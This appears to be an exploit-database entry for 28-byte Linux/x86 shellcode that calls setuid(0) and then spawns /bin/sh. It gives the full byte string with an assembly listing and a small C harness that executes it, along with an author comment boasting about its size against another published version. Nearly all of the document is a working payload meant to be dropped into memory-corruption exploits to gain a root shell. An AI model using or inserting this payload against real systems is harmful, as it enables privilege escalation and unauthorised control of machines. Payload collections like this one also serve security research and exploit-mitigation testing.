Linux/x86 - setuid(0) + execve(_/bin/sh__0_0) Shellcode (28 bytes)

Author: storm
type: 
platform: linux_x86
port: 28.0
date_added: 2018-01-16 
date_updated: 2018-01-18 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
 * (linux/x86) setuid(0) & execve("/bin/sh",0,0)
 * 28 bytes
 *
 * http://www.gonullyourself.org
 * sToRm <hixmostorm@hotmail.com>
 *
 * I made this, because http://www.milw0rm.com/shellcode/7115 felt the need
 * to express his "superior" 28-byte shellcode in all caps.  I wasn't able
 * to beat his code, but it's no longer special.
 */

char shellcode[] =
                                // <_start>:
    "\x31\xdb"                  // xor    %ebx,%ebx
    "\x6a\x17"                  // push   $0x17
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\xf7\xe3"                  // mul    %ebx
    "\xb0\x0b"                  // mov    $0xb,%al
    "\x31\xc9"                  // xor    %ecx,%ecx
    "\x51"                      // push   %ecx
    "\x68\x2f\x2f\x73\x68"      // push   $0x68732f2f
    "\x68\x2f\x62\x69\x6e"      // push   $0x6e69622f
    "\x89\xe3"                  // mov    %esp,%ebx
    "\xcd\x80"                  // int    $0x80
;

int main() {

    int (*f)() = (int(*)())shellcode;
    printf("Length: %u\n", strlen(shellcode));
    f();

}